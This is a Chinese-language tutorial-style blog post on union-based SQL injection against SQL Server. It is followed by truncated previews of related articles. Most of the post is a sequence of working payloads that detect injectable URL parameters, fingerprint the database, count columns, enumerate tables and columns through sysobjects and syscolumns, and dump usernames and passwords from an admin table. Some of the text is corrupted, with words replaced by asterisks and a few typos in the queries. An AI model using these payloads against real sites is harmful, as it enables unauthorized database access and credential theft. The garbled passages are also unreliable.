談到sql注入,不得不提它的本質,把使用者的輸入資料當做**來執行。兩個關鍵條件,第乙個是使用者能夠控制的輸入;第二個是程式要執行的**,拼接了使用者輸入的資料
按照注入的技術型別可分解為:
顯錯注入和盲注入,其中盲注入可分為,聯合查詢注入,堆查詢注入,dns查詢注入,報錯注入,延時注入和布林注入。這篇文章重點在分享一些聯合查詢注入的命令
1.首先來判斷注入點(url類)
當目標url為:www.target.com/1.php?id=88時,來進行簡單的注入點判斷;
www.target.com/1.php?id=88-0 無變化
www.target.com/1.php?id=88-1 報錯
www.target.com/1.php?id=88 and 1=1 無變化
www.target.com/1.php?id=88-1 and 1=2 報錯
2.判斷是何種資料庫
url+/*!%20s*/ 錯誤則是mysql
;url+/*pc 正常為mysql
url+and exists(select @@version)-- 正常為sql server
3.sql server 2008注入過程
判斷字段數:
id=1/**/order/**/by/**/5/**/-- 正常則字段數≥5 --和/**/均為注釋用來注釋執行語句時的** 保證注入**正常執行
id=1/**/order/**/by/**/6/**/-- 錯誤則字段數<6
判斷資料型別,字元型就可以sql注入了
id=1/**/union/**/all/**/select/**/null,null,null,null,null-- 正常
id=1/**/union/**/all/**/select/**/null,null,』test』,null,null-- 正常 (一位一位去嘗試)
顯示資料庫版本
id=1/**/and/**/1=2/**/union/**/all/**/select/**/null,null,@@version,null,null--
當前庫名
and/**/1=2/**/union/**/all/**/select/**/null,db_name(),null,null,null from sysobjects--
指定庫表名
and/**/1=2/**/union/**/all/**/select/**/null,(select top 1 name from庫名..sysobjects where xtype='u' and name not in(select top 0 name from 庫名..sysobjects where
xtype='u')),null,null,null from sysobjects--
當前庫查詢表
and/**/1=2/**/union/**/all/**/select/**/null,(select top 1 name from sysobjects where xtype='u' and name not in(select top 0 name from sysobjects where
xtype='u')),null,null,null from sysobjects-- //第二個top從0開始輸入 1,2,....列出當前庫所有表名
查詢admin變內的字段
d=1/**/and/**/1=2/**/union/**/all/**/select/**/null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='admin') and name not in (select top 1 name from syscolumns where id in (select id from sysobjects where name='admin'))),null,null,null fromsysobjects--//第二個top從0開始遍歷
檢視admin變欄位id,username,password的內容
id=1 and 1=2 union all select id,username,password,null,null from admin--
webshell寫入和系統命令執行就不能再分享了
sql注入 sqlserver報錯注入
該注入的條件是必須有報錯資訊 用到函式convert int,select top 1 db name 其含義是將第二個引數的值轉換成第乙個引數的int型別 一 開啟檔案,如下圖所示,有報錯資訊 二 檢視資料庫 輸入 and 1 convert int,select top 1 db name 這裡...
SQL Server加密與SQL注入
sql server上的加密 sql server上內建了加密用來保護各種型別的敏感資料。在很多時候,這個加密對於你來說是完全透明的 當資料被儲存時候被加密,它們被使用的時候就會自動加密。在其他的情況下,你可以選擇資料是否要被加密。sql server可以加密下列這些元件 密碼 儲存過程,檢視,觸發...
sql注入 sqlserver聯合查詢
實驗環境 sqlserver 2008 實驗步驟 一 判斷是否有注入 分別輸入ip 1.php?id 1 and 1 1和ip 1.php?id 1 and 1 2可判斷出該處存在注入 二 判斷顯示位 1.輸入 order by 3,顯示出第三列 2.輸入 order by 4,顯示下面情況,說明顯...